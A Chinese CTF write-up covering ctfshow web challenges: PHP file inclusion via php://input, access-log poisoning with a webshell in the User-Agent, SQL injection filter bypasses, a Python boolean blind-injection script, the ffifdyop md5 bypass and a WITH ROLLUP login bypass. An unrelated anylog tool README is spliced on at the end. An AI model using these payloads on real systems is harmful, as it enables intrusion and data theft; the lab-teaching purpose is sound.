ctfshow web(日志注入&简单回显盲注&&with rollup注入绕过)

web3

<?php include($_GET['url']);?>

php伪协议的标志。没有提示我们flag在哪个文件,filter试一下flag.php,flag,txt,flag都没有

用php://input试一下,burp抓包

发现了ctf_go_go_go,应该就是我们的flag文件。

post 传入 <?php system('cat ctf_go_go_go'); ?>

cat一下,得到flag。

web4

include()函数包含的文件会被执行,从而造成任意代码执行,或者配合伪协议获取敏感文件甚至getshell;

这一关相比上一关,php伪协议被禁用了。web3的更高版本。但是仍存在

 ?url=/var/log/nginx/access.log  //日志位置

我们可以通过日志注入来进行任意命令执行,getshell。

包含日志文件,查看日志文件的信息,可以看到日志文件中保存了网站的访问记录,包括HTTP请求行,Referer,User-Agent等HTTP请求的信息

可以看见我们刚开始测试php伪协议时的记录。

burp抓包,在User-Agent中插入我们的一句话木马:

蚁剑链接,在www目录下得到flag。

 所以以后我们遇见类似的题目时,php伪协议用不了可以尝试日志注入。

web 5

md5==绕过,做过好多了,不记录了。

web 6

sql注入,空格过滤,/**/代替。正常手工union查询即可

web 7

同web 6

web 8

输入单引号时,回显sql inje error。单引号被过滤,那就试试数值型注入。

输入union,逗号,and,空格发现也被过滤。

空格过滤用/**/来绕过。

逗号过滤,可以用特殊语法,substr(database(),1,1)    ->  substr(database() from 1 for 1)

首先通过万能密码,可知存在数值型注入。id=1/**/or/**/1=1

id=-1/**/or/**/ascii(substr(database()/**/from/**/1/**/for/**/1))=119

盲注来爆破一下数据库。试一下可不可行,在119时,页面回显为true。

因此存在盲注。我们可以通过bool一个一个字符判断数据库名,表名,字段名,找flag。

写python脚本来爆破一下数据库名,表名,字段名,flag:

import requests

url = "http://ae69fab0-9245-4f69-a6cc-96947a62baf8.challenge.ctf.show/?id=-1/**/or/**/"
r = requests.session()
f = ''
for i in range(1, 50):
    count = 0
    print("正在获取第%d个字符:" % i)
    for j in range(31, 128):
        # 数据库名
        # payload="ascii(substr(database()/**/from/**/%d/**/for/**/1))=%d"%(i,j)
        # 表名
        # payload="ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d"
        # 字段名
        # payload="ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)from/**/%d/**/for/**/1))=%d"
        # 数据
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d"
        res = r.get(url + payload % (i, j))
        if "If" in res.text:
            f += chr(j)
            print("数据库名/表名/字段名/数据为:%s" % f)
            break
        count += 1
        if count >= (128 - 31):
            exit()

web 9

进入页面之后,肯定存在sql注入。

/robots.txt看看有没有东西,发现了源代码

User-agent: *
Disallow: /index.phps

访问/index.phps 得到源码

<?php
    $flag="";
    $password=$_POST['password'];
	if(strlen($password)>10){
		die("password error");
	}
	$sql="select * from user where username ='admin' and password='".md5($password,true)."'";
	$result=mysqli_query($con,$sql);
	if(mysqli_num_rows($result)>0){
			while($row=mysqli_fetch_assoc($result)){
				echo "登陆成功<br>";
				echo $flag;
			}
		}
    ?>

根据源码可知,我们传入的password会加上 MD5($password,true)

MD5(,true)有一个小bug。ffifydop  md5($a,true)之后为  'or'6xxxxxx

从而构造万能密码来登录。因此我们password输入ffifdyop。得到flag。

web10

这道题和上一道web就很像,但是访问robots.txt,没有给提示,估计是让用dirsearch.py 去扫。

这里我们直接访问/index.phps 获取源码。




<?php
	$flag="";
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if (!$con){
        die('Could not connect: ' . mysqli_error());
    }
    if(strlen($username)!=strlen(replaceSpecialChar($username))){
	    die("sql inject error");
	}
	if(strlen($password)!=strlen(replaceSpecialChar($password))){
		die("sql inject error");
	}
	$sql="select * from user where username = '$username'";
	$result=mysqli_query($con,$sql);
	if(mysqli_num_rows($result)>0){
		while($row=mysqli_fetch_assoc($result)){
			if($password==$row['password']){
				echo "登陆成功<br>";
				echo $flag;
				}
			}
		}
    ?>

看了看没有思路,只知道过滤了一些关键字。看其他大佬题解说是存在 with rollup注入绕过。涨新知识了。

with rollup 可以对 group by 分组结果再次进行分组,并在最后添加一行数据用于展示结果( 对group by未指定的字段进行求和汇总, 而group by指定的分组字段则用null占位)

我们使用万能用户名 a'/**/or/**/true/**/# 使SQL成立绕过用户名之后, 后台的SQL会查询出所有的用户信息, 然后依次判断查询处的用户名对应的密码和我们输入的密码是否相同, 这时候我们使用with rollup 对 group by 分组的结果再次进行求和统计, 由于with rollup 不会对group by 分组的字段( password)进行统计, 所以会在返回结果的最后一行用null来填充password, 这样一来我们的返回结果中就有了一个值为null的password , 只要我们登录的时候password输入框什么都不输, 那我么输入的password的值就是null, 跟查询出的用户密码相同( null == null), 从而登录成功
 

所以构造payload:admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

web11

进去页面,看见了源码:

<?php
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    if($password==$_SESSION['password']){
        echo $flag;
    }else{
        echo "error";
    }
?>

根据源码可知,我们要想得到flag。要满足:$password==$_SESSION['password']

而 password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。

F12 在存储里把SESSION 删除,输入空密码即可。

 web12

查看源码得到hint:?cmd=

 可能存在文件包含漏洞。试一下伪协议filter读取一下源码,未果。

cmd emmmm 再试一下命令执行。

?cmd=phpinfo(); 发现命令被执行。存在命令执行漏洞。

我在试着输入一些常用命令时没有回显,可能是被过滤了。看来其他师傅wp后,发现他们都是用glob()函数来遍历目录文件名。说实话我这个之前做命令执行题目时雀氏用的地方少,没有记住。只在原生类用过一下。 这里用到了也积累一下。

glob()函数可以查找文件, 返回一个文件数组, 常配合通配符来遍历目录。

?cmd=print_r(glob("*"));

 得到当前目录下两个文件名。那个特别长的估计就是flag,读取一下试试。

可以用highlight_file()函数 hightlight_file()可以使文件内容高亮显示, 常用于读取文件内容

也可以用 show_source()函数。

?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php")得到flag。

anylog 是一个可以在代码的任意区域无入侵地加入日志的工具,适用于线上问题排查。 anylog 为开发人员提供一个易于使用的平台,帮助开发人员在正在运行的系统中随时加入自己想要的日志,而免于修改代码和重启。 使用场景举例     1、一些同学在写代码时,把异常吃掉了,使得问题难以查找,可以使用这个工具,动态打印出被吃掉         的异常,而不用停机。     2、一些项目依赖第三方jar包,如果发生问题,但第三方包中无日志打印,以往可能需要重新编译第         三方包,加上日志,重启服务,然后排查问题。但使用这个工具,就可以直接动态加入日志,而不用         修改第三方jar包,也不用重启。 已有功能     1、让系统打印某个exception的堆栈,无论此exception是否已经被吃掉都可打印     2、在某个指定类的某个方法的某一行,输出日志。     3、在某个指定类的某个方法的开始,输出日志。     4、在某个指定类的某个方法的结束,输出日志。       5、打印方法耗时,支持方法嵌套。     如果需要扩展新的功能(例如输出jvm的cpu占用,内存大小等),只需要实现spi中的     com.github.jobop.anylog.spi.TransformDescriptor      和com.github.jobop.anylog.spi.TransformHandler接口,     然后把实现的jar包放到providers目录中即可识别。 使用方法     1、获取运行程序:         1)可以到以下地址获取正式发行版:https://github.com/jobop/release/tree/master/anylog         2)你也可以clone下源码后,执行如下命令,生成运行程序,生成的运行程序将在dist目录下             生成windows版本:  mvn install             生成linux版本:  mvn install -Plinux     2、直接执行startup.bat或者startup.sh即可运行起来     3、访问 http://127.0.0.1:52808 即可使用 功能扩展     anylog利用spi机制实现其扩展,如果你想要对anylog增加新的功能(例如添加返回值打印的功能)可以按照如下步骤操作:     1、使用如下命令,生成一个spi实现工程,并导入eclipse     mvn archetype:generate -DarchetypeGroupId=com.github.jobop -DarchetypeArtifactId=anylogspi-archetype -DarchetypeVersion=1.0.4     2、参照该工程中已有的两个例子(一个是在方法开始插入日志,一个是在方法结束插入日志),实现TransformDescriptor和TransformHandler接口     3、把两个接口实现类的全路径,分别加到以下两个文件中         src/main/resources/META-INF/services/com.github.jobop.anylog.spi.TransformDescriptor         src/main/resources/META-INF/services/com.github.jobop.anylog.spi.TransformHandler     4、执行mvn install打包,在dist下会生成你的扩展实现jar。     5、把扩展实现jar拷贝到anylog的providers目录下,重启即可生效。     tips:在实现spi时,我们提供了SpiDesc注解,该注解作用在你实现的TransformDescriptor上,可以用来生成功能描述文字。          如果要深入了解spi机制,请自行google:java spi 标签:anylog
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值